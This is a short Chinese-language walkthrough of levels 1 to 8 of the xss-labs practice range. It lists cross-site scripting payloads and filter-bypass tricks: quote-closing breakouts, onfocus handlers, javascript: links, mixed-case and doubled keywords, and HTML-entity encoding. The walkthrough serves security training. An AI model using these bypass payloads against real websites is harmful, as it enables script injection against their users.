xss-labs靶场1-8

level1

php 复制代码
<script>alert()</script>

level2

闭合绕过

php 复制代码
">  <script>alert()</script>  <"

level3+level4

onfocus事件绕过

php 复制代码
' onfocus=javascript:alert() '


然后再点击输入框触发onfocus事件

level5

有小写字母转化函数,用a href标签法, 前提是闭合号<"">没失效

php 复制代码
"> <a href=javascript:alert()>xxx</a> <"

level6

关键字测试

大小写测试

用大小写法绕过str_replace()函数

php 复制代码
"> <sCript>alert()</sCript> <"

level7

关键字测试

用双拼写绕过

php 复制代码
"> <a hrehreff=javasscriptcript:alert()>x</a> <"

level8

关键字测试

input标签添加了html实体转化函数还把双引号也给实体化了, 添加了小写转化函数,过滤掉了src、data、onfocus、href、script、双引号

利用href的隐藏属性自动Unicode解码,插入一段js伪协议

php 复制代码
javascript:alert()

在线Unicode编码解码

php 复制代码
&#106;&#97;&#118;&#97;&#115;&#99;&#114;&#105;&#112;&#116;&#58;&#97;&#108;&#101;&#114;&#116;&#40;&#41;
相关推荐
香蕉大香蕉(06敬畏市场)5 分钟前
MySQL 单点详解(09)
java·数据库·mysql·面试·八股·大厂实习
January120723 分钟前
【AI方法笔记】2026-11-02:模型流式吐 JSON 时,前端会遇到四种崩法
前端·人工智能·笔记·json
asdzx6727 分钟前
C# 操作 PDF 元数据:从属性写入到字段提取的完整流程
前端·pdf·c#
吹什么轩44 分钟前
constexpr 完全指南:从 const 的两种含义,到编译期计算的四次演进
java·前端·javascript
她的男孩1 小时前
租户 A 的验证码,却用了租户 B 的 AccessKey:Forge Admin 修跨租户短信串发
java·spring boot·saas
LabVIEW开发1 小时前
LabVIEW 局部变量与数据流:这道 CLAD 题为什么答案是 Undefined
java·开发语言·labview
文丑颜不良啊1 小时前
LeetCode1721~1740题目解析
java·leetcode
wangbing11251 小时前
监控网页项目常用英文缩写
java
麻瓜code1 小时前
双写一致性:为什么是“删缓存“,而不是“改缓存“
java·缓存·mybatis
小蒜学长1 小时前
基于SpringBoot+Vue的云南地区扶贫助农系统的设计与实现(代码+数据库+LW)
java·vue.js·spring boot·后端·乡村振兴